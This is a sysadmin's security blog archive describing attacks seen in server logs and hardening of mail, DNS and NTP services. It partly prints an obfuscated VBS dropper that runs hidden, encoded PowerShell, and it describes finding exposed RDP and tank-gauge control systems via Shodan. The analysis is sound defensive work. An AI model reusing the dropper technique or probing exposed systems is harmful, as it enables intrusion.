2018-10-03 Seeing the same names in logcheck mails every hour 2 months ago
I use the logcheck package to monitor for unexpected log entries. Since upgrading to the new homeserver conway I noticed DNSSEC failures coming back regularly, even at weird times of the night while the domain names seemed related to services we sometimes interact with during the day. To search deeper I enabled query logging on DNS (with a short retention period) in order to find the source. Eventually I found it: the DNSSEC failures came at the time the mail from logcheck was delivered, because it mentioned domain names that cause a DNSSEC failure. So the way to 'fix' this problem and avoid similar other problems was to whitelist logcheck mail. Update 2018-10-05: That only helps when enabling the Mail::SpamAssassin::Plugin::Shortcircuit plugin and enabling the USER_IN_WHITELIST shortcircuit. Update 2018-10-07: Even with whitelist and shortcircuit I still see queries for domain names in the logcheck mails. Call to spamassassin is now changed...Now, once again...this time with FEEwing
2018-10-01 Getting distracted on shodan 2 months ago
This morning I was looking on shodan for open remote desktop servers in the work network since RDP was mentioned as an attack vector in the latest GANDCRAP ransomware. Searching for '3389' on shodan found something completely different: an open industrial control system (ICS) for tankstation gauges.IN-TANK VOORRAAD TANK PRODUCT VOLUME TC VOLUME VULVOL HOOGTE WATER TEMP 1 UL 98 9757 9693 10283 939.2 0.0 20.09 2 EURO 2...According to The Internet of Gas Station Tank Gauges -- Take #2 - Rapid7 this was already a reported issue in January 2015 and according to their research it may be possible to do bad things with this access. The above is from a gas station I can find on google maps. Oh I found the way to search for open remote desktop servers on shodan: port:3389.
2018-09-14 IT attacks in higher education have interesting holiday patterns 2 months ago
According to this article: Students blamed for university and college cyber-attacks - BBC News the new pattern is that attacks on IT systems in higher education happen in active times in education. Interesting quote (for me):There was a very sharp decline in attacks in the Christmas, Easter and summer breaks and during half-terms - with attacks rising again sharply when terms resumed.I remember starting in system administration and learning quickly that the Christmas holidays period was the busiest period in attempts to break in to computer systems all over the world. This was simply explained by the fact that the Christmas holidays are the most universal school holiday in the world and all the teenage hackers had time to play with computers, modems and networks.
2018-08-17 Trying (and failing) to correlate security logs 3 months ago
Since activating sendmail authentication with secondary passwords I see a number of attempts to guess credentials to send mail via my system. This is not very surprising, given the constant attack levels on the wider Internet. For work I am looking at log correlation and monitoring and with that in mind I noted that finding the right information from sendmail where and when the attempt came from is quite hard since there are several processes busy and it's hard to correlate the logging. The failed attempt is logged by saslauthd in /var/log/auth.log:Aug 16 12:28:57 greenblatt saslauthd[32648]: pam_unix(smtp:auth): check pass; user unknown Aug 16 12:28:57 greenblatt saslauthd[32648]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost= Aug 16 12:28:59 greenblatt saslauthd[32648]: do_auth : auth failure: [user=monster] [service=smtp] [realm=idefix.net] [mech=pam] [reason=PAM auth error] Aug 16 12:29:00 greenblatt saslauthd[32649]: pam_unix(smtp:auth): check pass; user unknown Aug 16 12:29:00 greenblatt saslauthd[32649]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost= Aug 16 12:29:02 greenblatt saslauthd[32649]: do_auth : auth failure: [user=monster] [service=smtp] [realm=] [mech=pam] [reason=PAM auth error]This is probably related to this sendmail log information:Aug 16 12:28:56 greenblatt sm-mta[20716]: STARTTLS=server, relay=62.82.128.182.static.user.indesat.com [62.82.128.182] (may be forged), version=TLSv1/SSLv3, verify=NO, cipher=DHE-RSA-AES256-SHA, bits=256/256 Aug 16 12:29:02 greenblatt sm-mta[20716]: w7GASspx020716: 62.82.128.182.static.user.indesat.com [62.82.128.182] (may be forged) did not issue MAIL/EXPN/VRFY/ETRN during connection to MSP-v6But I can't be sure as there are multiple 'did not issue MAIL/EXPN/VRFY/ETRN' messages in the logs. So I can't build a fail2ban rule based on this.
2018-08-13 False advertising from antivirus software in e-mail 3 months ago
----- No virus found in this message. Checked by AVG - www.avg.com Version: 2014 .0.4830 / Virus Database: 4365/10772 - Release Date: 13/08/18 [-- Attachment #2: doc10089752487652120190813.docx.jar --]I guess No known virus found was a better message for AVG.
2018-08-11 Testing login credentials from dataleaks 4 months ago
The authenticated SMTP setup with sendmail and secondary passwords I created is also attracting a new kind of attack: trying credentials from dataleaks. Leading to interesting tries in the log:Aug 10 17:29:01 greenblatt saslauthd[32650]: do_auth : auth failure: [user=409shop.com] [service=smtp] [realm=] [mech=pam] [reason=PAM auth error] Aug 11 10:48:42 greenblatt saslauthd[32649]: do_auth : auth failure: [user=409shop.com] [service=smtp] [realm=] [mech=pam] [reason=PAM auth error]
2018-07-27 Automating Let's Encrypt certificates with DNS-01 protocol 4 months ago
After thoroughly automating Let's Encrypt certificate renewal and installation I wanted to get the same level of automation for systems that do not expose an http service to the outside world. So that means the DNS-01 challenge within the ACME protocol has to be used. I found out dehydrated Let's Encrypt certificate management supports DNS-01 and I found a sample on how to do this with bind9 at Example hook script using Dynamic DNS update utility for dns-01 challenge which looks like it can do the job. It took me a few failed tries to find out that if I want a certificate for the name turing.idefix.net that it will request the TXT record for _acme-challenge.turing.idefix.net to make me prove that I have control over the right bit of DNS. I first assumed something in _acme-challenge.idefix.net which turned out wrong. So the bind9 config in /etc/bind/named.conf.local has:
zone "_acme-challenge.turing.idefix.net" { type master; file "/var/cache/bind/_acme-challenge.turing.idefix.net-zone"; masterfile-format text; allow-update { key "acmekey-turing"; }; allow-query { any; }; allow-transfer { localnetwork; }; };And in the idefix.net zone there is just one delegation:_acme-challenge.turing IN NS ns2I created and used a dnskey with something like:# dnssec-keygen -r /dev/random -a hmac-sha512 -b 128 -n HOST acmekey-turing Kacmekey-turing.+157+53887This gives 2 files, both with the right secret:# ls Kacmekey-turing.+157+53887.* Kacmekey-turing.+157+53887.key Kacmekey-turing.+157+53887.private # cat Kacmekey-turing.+157+53887.key acmekey-turing. IN KEY 512 3 157 c2V0ZWMgYXN0cm9ub215and configured it in /etc/bind/named.conf.options:key "acmekey-turing" { algorithm hmac-md5; secret "c2V0ZWMgYXN0cm9ub215"; };And now I can request a key for turing.idefix.net and use it to generate sendmail certificates. And the net result:(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK)SMTP between systems with TLS working and good certificates.
After thoroughly
2018-07-19 Configuring sendmail authentication like imaps access to allow secondary passwords 4 months ago
I needed to configure sendmail authenticated access because I want a strict SPF record for idefix.net which means I always have to make outgoing mail originate from the right server. For the sendmail authenticated smtp bit I used How to setup and test SMTP AUTH within Sendmail with some configuration details from Setting up SMTP AUTH with sendmail and Cyrus-SASL. To get this running saslauthd is needed to get authentication at all and I decided to let it use the pam authentication mechanism. The relevant part of sendmail.mc:include(`/etc/mail/sasl/sasl.m4')dnl define(`confAUTH_OPTIONS', `A p')dnl define(`confAUTH_MECHANISMS', `LOGIN PLAIN')dnl TRUST_AUTH_MECH(`LOGIN PLAIN')dnlAnd now I can login to sendmail only in an encrypted session. And due to sendmail and other services now having valid certificates I can set up all devices to fully check the certificate so I make it difficult to intercept this password. And after I got that working I decided I wanted 'secondary passwords' just like I configured extra passwords for IMAPS access so I set up /etc/pam.d/smtp to allow other passwords than the unix password and restrict access to the right class of users.auth required pam_succeed_if.so quiet user ingroup users auth [success=1 default=ignore] pam_unix.so nullok_secure auth sufficient pam_userdb.so db=/etc/courier/extrausers crypt=crypt use_first_pass # here's the fallback if no module succeeds auth requisite pam_deny.soNow I can set up my devices that insist on saving the password for outgoing smtp and if it ever gets compromised I just have to change that password without it biting me too hard.
2018-07-08 Automating Let's Encrypt certificates further 5 months ago
Read the rest of Automating Let's Encrypt certificates furtherCHALLENGETYPE="http-01" WELLKNOWN="/home/httpd/html/.well-known/acme-challenge"Now it was possible to request certificates based on a .csr file. I used this to get a new certificate for the home webserver, and it turned out to be easier than the previous setup based on letsencrypt-nosudo.
2018-06-25 Distributed ssh attack 5 months ago
SSH attacks are on the rise. But fail2ban isn't blocking as much of those attacks as it used to since the attacks are quite distributed. This morning I noticed clear correlation between a subset of the attempts, they were all using names of websites hosted on the same system.Jun 25 06:18:44 greenblatt sshd[10092]: Invalid user campwireless from 95.111.97.96 Jun 25 06:29:21 greenblatt sshd[10993]: Invalid user camp-wireless from 206.189.158.105 Jun 25 06:30:51 greenblatt sshd[11073]: Invalid user campwireless from 211.118.23.85 Jun 25 06:41:43 greenblatt sshd[12213]: Invalid user camp-wireless from 80.191.115.125 Jun 25 06:50:01 greenblatt sshd[12962]: Invalid user campwireless from 46.24.225.3 Jun 25 06:59:39 greenblatt sshd[13794]: Invalid user camp-wireless from 58.221.14.202 Jun 25 07:35:27 greenblatt sshd[16771]: Invalid user virtualbookcase from 98.248.65.243 Jun 25 07:35:36 greenblatt sshd[16779]: Invalid user campwireless from 109.95.210.175 Jun 25 07:39:28 greenblatt sshd[17175]: Invalid user camp-wireless from 88.170.50.242 Jun 25 07:46:01 greenblatt sshd[17570]: Invalid user camp-wireless from 166.70.198.80 Jun 25 07:54:59 greenblatt sshd[18273]: Invalid user camp-wireless from 187.104.5.246 Jun 25 07:59:48 greenblatt sshd[18754]: Invalid user idefix from 188.19.15.188 Jun 25 08:02:08 greenblatt sshd[18926]: Invalid user idefix from 179.219.129.91 Jun 25 08:05:54 greenblatt sshd[19358]: Invalid user virtualbookcase from 118.114.237.235 Jun 25 08:09:45 greenblatt sshd[19809]: Invalid user urlurl from 111.231.89.130 Jun 25 08:26:35 greenblatt sshd[21183]: Invalid user urlurl from 212.156.83.146 Jun 25 08:29:07 greenblatt sshd[21357]: Invalid user camp-wireless from 37.205.177.106 Jun 25 08:43:04 greenblatt sshd[22400]: Invalid user campwireless from 190.85.83.230 Jun 25 08:45:45 greenblatt sshd[22558]: Invalid user campwireless from 35.161.235.34 Jun 25 09:01:30 greenblatt sshd[23883]: Invalid user urlurl from 180.76.160.50 Jun 25 09:08:17 greenblatt sshd[24516]: Invalid user camp-wireless from 60.251.223.115 Jun 25 09:23:47 greenblatt sshd[26042]: Invalid user camp-wireless from 106.51.76.93 Jun 25 09:45:27 greenblatt sshd[27812]: Invalid user camp-wireless from 62.254.31.162 Jun 25 09:56:02 greenblatt sshd[28617]: Invalid user campwireless from 212.77.72.170 Jun 25 10:06:47 greenblatt sshd[29707]: Invalid user campwireless from 123.207.139.72 Jun 25 10:14:58 greenblatt sshd[30250]: Invalid user camp-wireless from 81.95.114.163 Jun 25 10:15:43 greenblatt sshd[30317]: Invalid user camp-wireless from 193.112.166.253 Jun 25 10:19:17 greenblatt sshd[30698]: Invalid user campwireless from 211.54.146.250 Jun 25 10:19:25 greenblatt sshd[30702]: Invalid user urlurl from 178.91.253.138 Jun 25 10:32:42 greenblatt sshd[31743]: Invalid user idefix from 85.120.15.35 Jun 25 11:04:33 greenblatt sshd[2346]: Invalid user campwireless from 213.138.110.89This suggests coordination between the attacking systems. But the simpler attacks do continue:Jun 25 09:17:31 greenblatt sshd[25579]: Invalid user cristina from 202.29.224.50 Jun 25 09:17:35 greenblatt sshd[25582]: Invalid user cristina from 202.29.224.50 Jun 25 09:17:39 greenblatt sshd[25586]: Invalid user cristina from 202.29.224.50 Jun 25 09:17:39 greenblatt sshd[25585]: Invalid user cristina from 202.29.224.50
2018-06-22 Slow password guessing for imaps 5 months ago
Interesting in the logs:Jun 19 21:22:29 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9] Jun 19 21:23:30 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9] Jun 19 21:27:05 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11] Jun 19 21:31:58 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11] Jun 19 22:27:15 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9] Jun 19 22:30:10 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9] Jun 19 22:44:17 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11] .. Jun 22 14:23:39 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11] Jun 22 14:24:35 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11] Jun 22 15:20:05 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9] Jun 22 15:21:01 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9] Jun 22 15:29:18 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11] Jun 22 15:30:06 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]Every time fail2ban blocks the addresses for a while but the attacker is more persistant than that.
2018-06-19 I don't run your nameserver 5 months ago
Showing in the logs since a few hours:Jun 18 12:48:36 server named[16424]: client 92.247.148.230#38664: query '1.3.20.172.in-addr.arpa/PTR/IN' denied Jun 18 12:48:39 server named[16424]: client 92.247.148.230#38664: query '14.0.20.172.in-addr.arpa/PTR/IN' denied Jun 18 12:48:45 server named[16424]: client 92.247.148.230#38664: query '41.1.20.172.in-addr.arpa/PTR/IN' denied Jun 18 12:48:47 server named[16424]: client 92.247.148.230#38664: query '6.1.20.172.in-addr.arpa/PTR/IN' deniedGiven earlier reports of the same IPv4 address asking about the same queries this has been seen by at least one other place before. Blacklisted for now, maybe I can think of some answers that can slow down the resolver later.
2018-05-22 The linkspammers are back, but they are trying to hide it a lot better 6 months ago
Over the years I have ranted several times about linkspammers. About spammers in general too, but linkspammers are a special category. Most of them, especially the fully automated ones died when google started detecting their deceit. That time there was some amusement to be had reading mails "somehow there is an evil link to my site from your site, please remove it as it affects both our google ranking". But now they are back, but trying to hide it a lot better. I received several nicey-nicey and helpful mails with really personal suggestions to improve my site, or improve the world in general by adding some link they proposed, complete with the right anchor text. At first I thought they were personal and answered them telling them the proposed links were wrong, or they had not read the article/post/.. they wanted to change very carefully. And then a week or two later I'd get another personal mail asking whether I had considered their previous request. And answering with "did you read my answer?" did not change a thing. My best guess at the moment is that I wasn't looking at a personal mail and that I should add a lot of airquotes about terms like "personal" above. It's a template with 'page X' 'needs link Y' and 'with anchor text Z' and there is software running that checks whether page X has the 'right' link and keeps sending reminders until it does. As you can imagine (or not), I feel very annoyed by this new scam tactic. One sample:Hi pal, My name is Oliver and I'm writing to share an infographic that aims to educate people about PTSD amongst our veterans and serving military personnel. The infographic is titled "The Silent Enemy: How PTSD Damages Our Soldiers". You can view the infographic by clicking here: [link] To spread the word about these issues, I ask if you could add a "weblink" to this infographic from this page on your own website: https://idefix.net/~koos/newsitem.cgi/1318581406 Note how this page has only a link to 'military' but actually reading it for 4 seconds would let you know that it has no link to PTSD in the military. I chose this page because you already link to www.af.mil/News/Photos/ from this page. If this is possible, you could add the below text to this page on your own websi te: The Silent Enemy: How PTSD Damages Our Soldiers – An infographic aiming to raise awareness about PTSD in the military. Alternatively, you could also publish the infographic on your website as a "guest blog post". If this is OK, I can write a unique introduction to go with the infographic. This will save you time and also help to highlight the important issues covered in the infographic. I really appreciate your time. I know that linking to this infographic will help to build awareness about mental health issues amongst veterans and serving memb ers of the military. I'm sure this is a cause you would like to get behind by adding the above link. I've actually attached the infographic to this email for you to add to your website at either the page I suggest or as a fresh blog post. Many thanks, Oliver Clark Rehab 4 Alcoholism Please click on Unsubscribe to be unsubscribed from any future communications. P rivacy notice.The last line is quite a hint that this is from an automated system, the stories are somewhat long so this isn't always very visible. Now I also wonder whether the link would be to a very commercial rehab organisation.
2018-05-05 High-Tech Bridge 'security scan' causing big noise in the logs 7 months ago
I noticed a lot of error messages from sshd/imaps and other services all related to IPv4 address 192.175.111.254. Checking the firewall logs found even more attempts. It seems all this noise is related to a 'Web Server Security Test' from High-Tech Bridge. Something like the Qualys SSL Labs SSL Server Test but aimed at a complete test according to PCI DSS, HIPAA and NIST. Since most of those standards have to do with procedures too an automated test can never be complete. But with all these errors and firewall log entries it is very noisy. And now I wonder who was interested in my webserver security at a time that I was asleep.
2018-04-07 I'm glad you read my newsitem 8 months ago
Apr 6 23:41:16 greenblatt sshd[25116]: Invalid user squid from 139.99.122.129 Apr 7 01:44:09 greenblatt sshd[3495]: Invalid user squid from 110.10.189.108 Apr 7 08:21:37 greenblatt sshd[7106]: Invalid user squid from 118.24.100.11I'm glad you read my newsitem about keeping squid running.
2018-03-14 Try anything as an open webproxy 9 months ago
It seems any open port can be tried as an open webproxy. An open webproxy is interesting for hiding tracks or getting around restrictions. But some of the scans are getting stupid. There are still a lot of other tcp-based services, not everything is HTTP. From recent logs:Mar 14 13:46:42 greenblatt nnrpd[20297]: 185.100.87.248 unrecognized GET / HTTP/1.0 Mar 14 13:46:47 greenblatt nnrpd[20299]: 185.100.87.248 unrecognized OPTIONS / HTTP/1.0 Mar 14 13:46:52 greenblatt nnrpd[20301]: 185.100.87.248 unrecognized OPTIONS / RTSP/1.0And this gem of distributed scanning:Mar 8 08:45:00 greenblatt sm-mta[6355]: w287j0dE006355: 78.84.202.1.static.bjtelecom.net: probable open proxy: command=GET http://www.boxun.com/ HTTP/1.1\r\n Mar 8 08:45:00 greenblatt sm-mta[6359]: w287j0V0006359: [14.204.118.100]: probable open proxy: command=GET http://www.minghui.org/ HTTP/1.1\r\n Mar 8 08:45:00 greenblatt sm-mta[6360]: w287j0lM006360: [14.204.94.84]: probable open proxy: command=GET http://www.rfa.org/ HTTP/1.1\r\n Mar 8 08:45:04 greenblatt sm-mta[6353]: w287j4lq006353: [110.177.75.38]: probable open proxy: command=GET http://www.baidu.com/ HTTP/1.1\r\n Mar 8 08:45:04 greenblatt sm-mta[6356]: w287j4io006356: [101.249.104.160]: probable open proxy: command=GET http://www.bing.com/ HTTP/1.1\r\n Mar 8 08:45:04 greenblatt sm-mta[6357]: w287j4h0006357: [119.118.16.42]: probable open proxy: command=GET http://wujieliulan.com/ HTTP/1.1\r\n Mar 8 08:45:05 greenblatt sm-mta[6358]: w287j5pu006358: [112.66.106.4]: probable open proxy: command=CONNECT www.voanews.com:443 HTTP/1.0\r\n Mar 8 08:45:05 greenblatt sm-mta[6354]: w287j5bt006354: 36.49.239.221.broad.tj.tj.dynamic.163data.com.cn [221.239.49.36] (may be forged): probable open proxy: command=GET http://www.123cha.com/ HTTP/1.1\r\nInteresting timing and coordination on this one, looks like some form of central control was involved.
2018-03-05 Obfuscating powershell with -encoded and UTF-16 9 months ago
In some files I noticed a vbs file where I expected something else. Vbs sounds like visual basic script so I directly started looking for malware. And indeed I saw suspicous code, with a for me new type of obfuscation. The vbs has one really long line, beginning with:CreateObject("Wscript.Shell").Run("powershell -w hidden -ep bypass -enc aQBuAHYA bwBrAGUALQBlAHgAcAByAGUAcwBzAGkAbwBuACgAIgB7ADQAOAB9AHsAMQAyAH0AewAyADgAfQB7ADEA MAAzAH0AewAyADEAfQB7ADkAfQB7ADEAMAA2AH0AewA3ADAAfQB7ADIAOAB9AHsAOAB9AHsAMAB9AHsAand at the end:IgByACIALAAiAGsAIgAsACIAYQAiACwAIgAgACIALAAiAHYAIgAsACIAZwAiACwAIgBzACIALAAiAGUA IgAsACIAbgAiACwAIgArACIALAAiAHQAIgAsACIAcgAiACwAIgAiACwAIgB0ACIALAAiAHAAIgAsACIA ZQAiACwAIgBlACIALAAiAC8AIgAsACIAZQAiACwAIgBTACIAKQA=")Which looked very base64-like to me. But standard tools could not find out what it was:$ base64 -d < base64part | file - /dev/stdin: dataBut with a second look I could make out something:$ base64 -d < base64part | xxd | less 0000000: 6900 6e00 7600 6f00 6b00 6500 2d00 6500 i.n.v.o.k.e.-.e. 0000010: 7800 7000 7200 6500 7300 7300 6900 6f00 x.p.r.e.s.s.i.o. 0000020: 6e00 2800 2200 7b00 3400 3800 7d00 7b00 n.(.".{.4.8.}.{. 0000030: 3100 3200 7d00 7b00 3200 3800 7d00 7b00 1.2.}.{.2.8.}.{. 0000040: 3100 3000 3300 7d00 7b00 3200 3100 7d00 1.0.3.}.{.2.1.}. 0000050: 7b00 3900 7d00 7b00 3100 3000 3600 7d00 {.9.}.{.1.0.6.}. 0000060: 7b00 3700 3000 7d00 7b00 3200 3800 7d00 {.7.0.}.{.2.8.}. 0000070: 7b00 3800 7d00 7b00 3000 7d00 7b00 3200 {.8.}.{.0.}.{.2. 0000080: 7d00 7b00 3400 3100 7d00 7b00 3100 3100 }.{.4.1.}.{.1.1. 0000090: 3300 7d00 7b00 3600 3600 7d00 7b00 3000 3.}.{.6.6.}.{.0.Suddenly there is UTF-16 powershell code. Or when I simply cat it to a terminal:invoke-expression("{48}{12}{28}{103}{21}{9}{106}{70}{28}{8}{0}{2}{41}{113}{66} [..] -f "t","2"," ",".","i","f","C","'","c","o","2",")","n","n","0","c","'","/",It looks like some kind of array mapping, but I have no idea how to decode this into readable code to check what it does. I am quite sure it can't be up to any good if I keep finding levels of obfuscation!
2018-02-02 Trying to make me skip the rest of the security report 10 months ago
In the sshd logging today:sshd[26961]: Invalid user <!-- from 103.9.88.249But the logging is parsed via software that doesn't trust input either, so the rest is in the report too. Including more attempts from that IPv4 address.
2018-01-23 Avoiding the linux statefull firewall for some traffic 10 months ago
I was setting up a linux based firewall on a busy ntp server and to make sure everything worked as designed I added the usual:iptables -A INPUT -j ACCEPT --protocol all -m state --state ESTABLISHED,RELATEDAnd after less than half an hour the system log started filling withnf_conntrack: table full, dropping packet nf_conntrack: table full, dropping packet nf_conntrack: table full, dropping packet nf_conntrack: table full, dropping packetIt is indeed a busy server. The solution is to exclude all the ntp traffic from the stateful firewall. Which means I have to allow all kinds of ntp traffic (outgoing and incoming) by itself. The specific ruleset:iptables -t raw -A PREROUTING --protocol udp --dport 123 -j NOTRACK iptables -t raw -A OUTPUT --protocol udp --sport 123 -j NOTRACK iptables -A INPUT -j ACCEPT --protocol udp --destination-port 123I also made sure the rules for the ntp traffic are the first rules. Traffic at this server is somewhat over 1000 ntp request per second. So the counters of the NOTRACK rules go fast.# iptables -t raw -L -v Chain PREROUTING (policy ACCEPT 1652K packets, 126M bytes) pkts bytes target prot opt in out source destination 9635K 732M CT udp -- any any anywhere anywhere udp dpt:ntp NOTRACK 1650K 125M CT udp -- any any anywhere anywhere udp dpt:ntp NOTRACK Chain OUTPUT (policy ACCEPT 1522K packets, 117M bytes) pkts bytes target prot opt in out source destination 9029K 686M CT udp -- any any anywhere anywhere udp spt:ntp NOTRACK 1520K 116M CT udp -- any any anywhere anywhere udp spt:ntp NOTRACKBut no packets are dropped, which is good as this server is supposed to be under a constant DDoS.
2018-01-19 Collecting ages of ntpd mode 7 probes 10 months ago
Older news items for tag security ⇒I noticed today one of the ntp servers I manage has been collecting ages of ntpd mode 7 probes without ever responding. But it makes a nice overview of probing IPv4 addresses:remote address port local address count m ver rstr avgint lstint =============================================================================== 184.105.139.82 1714 xxx.xxx.xxx.xxx 3 7 2 1 3413098 40058 184.105.139.72 14152 xxx.xxx.xxx.xxx 7 6 2 1 1107023 60553 185.165.29.145 33482 xxx.xxx.xxx.xxx 9 7 2 1 647886 73704 91.200.12.126 47493 xxx.xxx.xxx.xxx 2 7 2 1 12199 78678 185.94.111.1 33066 xxx.xxx.xxx.xxx 44 7 2 1 139771 83493 212.237.45.33 39353 xxx.xxx.xxx.xxx 1 7 2 1 0 84058 184.105.139.122 16124 xxx.xxx.xxx.xxx 4 7 2 1 1830407 127241 165.227.44.214 36749 xxx.xxx.xxx.xxx 1 7 2 1 0 138342 185.82.203.150 38141 xxx.xxx.xxx.xxx 12 7 2 1 147806 143793 185.2.81.90 33119 xxx.xxx.xxx.xxx 6 7 2 1 199742 180842 184.105.139.110 57630 xxx.xxx.xxx.xxx 6 7 2 1 968029 223794 77.87.79.97 34540 xxx.xxx.xxx.xxx 2 7 2 1 31910 251316 184.105.139.102 50130 xxx.xxx.xxx.xxx 3 7 2 1 2950157 308291 185.55.218.227 33716 xxx.xxx.xxx.xxx 2 7 2 1 853413 311971 104.243.41.54 30820 xxx.xxx.xxx.xxx 2 7 2 1 3258925 334017 123.249.27.176 35963 xxx.xxx.xxx.xxx 7 7 2 1 452131 339518 191.96.249.173 42895 xxx.xxx.xxx.xxx 10 7 2 1 692139 348753 71.194.80.50 51096 xxx.xxx.xxx.xxx 2 7 2 1 74579 392665 184.105.139.126 38393 xxx.xxx.xxx.xxx 2 7 2 1 3535530 394349 185.55.218.250 48871 xxx.xxx.xxx.xxx 2 7 2 1 537671 411921 184.105.139.86 34651 xxx.xxx.xxx.xxx 5 7 2 1 1361673 478157 123.249.24.175 37973 xxx.xxx.xxx.xxx 6 7 2 1 476469 502270 184.105.139.98 21269 xxx.xxx.xxx.xxx 10 7 2 1 718112 567076 184.105.139.70 38190 xxx.xxx.xxx.xxx 6 7 2 1 1107237 649625 66.55.135.62 54536 xxx.xxx.xxx.xxx 8 7 2 1 40836 721372 138.197.130.148 39857 xxx.xxx.xxx.xxx 2 7 2 1 415601 788308 191.96.249.113 36079 xxx.xxx.xxx.xxx 2 7 2 1 1501700 862267 184.105.139.78 37702 xxx.xxx.xxx.xxx 4 7 2 1 1637431 908028 159.89.47.224 47766 xxx.xxx.xxx.xxx 5 7 2 1 361160 913255 162.209.168.12 39122 xxx.xxx.xxx.xxx 2 7 2 1 109901 976174 123.249.26.159 34990 xxx.xxx.xxx.xxx 41 7 2 1 88999 1045070 184.105.139.74 38666 xxx.xxx.xxx.xxx 6 7 2 1 822261 1079624 185.55.218.242 54815 xxx.xxx.xxx.xxx 7 7 2 1 89032 1102095 191.96.249.12 48406 xxx.xxx.xxx.xxx 4 7 2 1 1133779 1198815 101.100.146.139 39660 xxx.xxx.xxx.xxx 3 7 2 1 1951322 1244586 209.250.238.186 39459 xxx.xxx.xxx.xxx 2 7 2 1 53072 1252190 119.1.109.85 51099 xxx.xxx.xxx.xxx 10 7 2 1 223881 1325320 184.105.139.118 34319 xxx.xxx.xxx.xxx 4 7 2 1 905995 1339133 184.105.139.106 15081 xxx.xxx.xxx.xxx 2 7 2 1 2932231 1430316 191.96.249.131 35972 xxx.xxx.xxx.xxx 2 7 2 1 1499287 1491171 185.55.218.237 43409 xxx.xxx.xxx.xxx 2 7 2 1 4255207 1497992 185.55.218.236 55927 xxx.xxx.xxx.xxx 3 7 2 1 1566148 1718947 138.68.247.41 41914 xxx.xxx.xxx.xxx 2 7 2 1 53524 1936953 184.105.139.94 41523 xxx.xxx.xxx.xxx 5 7 2 1 1112720 1948506 45.63.27.150 40862 xxx.xxx.xxx.xxx 2 7 2 1 1676933 1991259 185.188.207.13 45915 xxx.xxx.xxx.xxx 20 7 2 1 156321 2041538 185.44.107.183 45785 xxx.xxx.xxx.xxx 2 7 2 1 132706 2107890 184.105.139.90 35315 xxx.xxx.xxx.xxx 5 7 2 1 350936 2206670 191.96.249.61 30296 xxx.xxx.xxx.xxx 3 7 2 1 59063 2226284 195.22.127.173 40060 xxx.xxx.xxx.xxx 2 7 2 1 20615 2253429 184.105.139.114 56609 xxx.xxx.xxx.xxx 4 7 2 1 604491 2291452 104.243.41.52 123 xxx.xxx.xxx.xxx 2 7 2 1 85831 2381504 103.9.78.129 50367 xxx.xxx.xxx.xxx 2 7 2 1 868629 2449128 167.88.15.18 40815 xxx.xxx.xxx.xxx 2 7 2 1 182471 2525650 167.88.180.82 40640 xxx.xxx.xxx.xxx 2 7 2 1 66892 2715823 192.158.229.240 39284 xxx.xxx.xxx.xxx 4 7 2 1 163873 2759391 51.15.45.102 45371 xxx.xxx.xxx.xxx 2 7 2 1 92720 2768083 185.198.58.55 18637 xxx.xxx.xxx.xxx 2 7 0 1 802096 2787683 123.249.24.197 40362 xxx.xxx.xxx.xxx 37 7 2 1 85431 2983252 167.88.180.26 49125 xxx.xxx.xxx.xxx 4 7 2 1 60114 3023906 188.213.49.83 34969 xxx.xxx.xxx.xxx 2 7 2 1 254056 3095396 45.76.24.165 41025 xxx.xxx.xxx.xxx 2 7 2 1 107397 3103557 213.183.54.46 40409 xxx.xxx.xxx.xxx 5 7 2 1 206100 3224158 145.239.237.23 35814 xxx.xxx.xxx.xxx 2 7 2 1 571497 3264230 165.227.220.24 39557 xxx.xxx.xxx.xxx 2 7 2 1 52796 3292818 123.249.35.214 47756 xxx.xxx.xxx.xxx 2 7 2 1 242695 3296347 123.249.76.52 59698 xxx.xxx.xxx.xxx 8 7 2 1 246226 3446607 123.249.79.178 52301 xxx.xxx.xxx.xxx 2 7 2 1 839605 3455884 207.254.182.131 52337 xxx.xxx.xxx.xxx 4 7 2 1 1384 3648002 185.55.218.109 37602 xxx.xxx.xxx.xxx 2 7 2 1 752428 3652434 128.14.61.111 53586 xxx.xxx.xxx.xxx 3 7 2 1 103699 3796467 104.238.146.66 52224 xxx.xxx.xxx.xxx 2 7 2 1 138668 3837468 95.215.62.72 42111 xxx.xxx.xxx.xxx 4 7 2 1 608618 3932262 45.76.195.157 59987 xxx.xxx.xxx.xxx 2 7 2 1 143642 4096101 123.249.79.232 40165 xxx.xxx.xxx.xxx 4 7 2 1 146715 4317577 86.105.9.86 55857 xxx.xxx.xxx.xxx 4 7 2 1 115972 4329305 217.147.89.197 49717 xxx.xxx.xxx.xxx 4 7 2 1 314874 4463013 182.18.22.246 58611 xxx.xxx.xxx.xxx 3 7 2 1 359548 4485937 185.82.203.107 56661 xxx.xxx.xxx.xxx 7 7 2 1 176060 4516810 79.124.60.148 58043 xxx.xxx.xxx.xxx 2 7 2 1 687406 4684505 185.107.94.66 46254 xxx.xxx.xxx.xxx 2 7 2 1 1263073 4750583 191.96.249.84 49259 xxx.xxx.xxx.xxx 2 7 2 1 329846 5160890 111.121.193.201 6065 xxx.xxx.xxx.xxx 3 7 0 1 101832 5558503 185.188.207.15 33999 xxx.xxx.xxx.xxx 3 7 2 1 90416 5655119 185.117.74.118 52973 